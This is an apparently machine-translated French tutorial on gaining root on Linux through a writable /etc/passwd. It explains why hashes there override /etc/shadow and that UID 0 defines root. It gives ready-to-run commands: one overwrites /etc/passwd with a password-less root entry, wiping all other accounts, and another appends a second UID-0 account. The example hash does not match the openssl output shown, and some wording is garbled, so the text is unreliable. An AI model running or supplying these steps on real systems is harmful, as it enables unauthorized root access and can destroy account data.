Les mots de passe sont normalement stockés dans /etc/shadow
, qui n'est pas lisible par les utilisateurs. Cependant, historiquement, ils étaient stockés dans le fichier lisible par tous /etc/passwd
ainsi que toutes les informations de compte. Pour la rétrocompatibilité, si un hachage de mot de passe est présent dans la deuxième colonne de /etc/passwd
, il a priorité sur celui de /etc/shadow
.
Historiquement, un second champ vide dans /etc/passwd
signifie que le compte n'a pas de mot de passe, c'est-à-dire que n'importe qui peut se connecter sans mot de passe (utilisé pour les comptes invités). Ceci est parfois désactivé. Si les comptes sans mot de passe sont désactivés, vous pouvez mettre le hachage d'un mot de passe de votre choix. Vous pouvez utiliser le crypt
fonction pour générer des hachages de mot de passe, par exemple perl -le 'print crypt("foo", "aa")'
pour définir le mot de passe sur foo
.
Il est possible d'obtenir un accès root même si vous ne pouvez ajouter qu'à /etc/passwd
et ne pas écraser le contenu. C'est parce qu'il est possible d'avoir plusieurs entrées pour le même utilisateur, tant qu'ils ont des noms différents — les utilisateurs sont identifiés par leur ID, pas par leur nom, et la caractéristique déterminante du compte root n'est pas son nom mais le fait qu'il a l'ID utilisateur 0. Vous pouvez donc créer un autre compte racine en ajoutant une ligne qui déclare un compte avec un autre nom, un mot de passe de votre choix et l'ID utilisateur 0.
Tapez simplement :
echo root::0:0:root:/root:/bin/bash > /etc/passwd
su
et vous êtes root.
(Suppression de x
signifie que root n'a plus besoin de mot de passe, vous pouvez utiliser sed
commande au lieu de echo
mais cela suffit pour obtenir le shell root)
Vous pouvez utiliser cette méthode non destructive :
# to generate hash of the password
openssl passwd mrcake
hKLD3431415ZE
# to create a second root user with "mrcake" password
echo "root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash" >> /etc/passwd
# to switch to a root2
su root2
Password: mrcake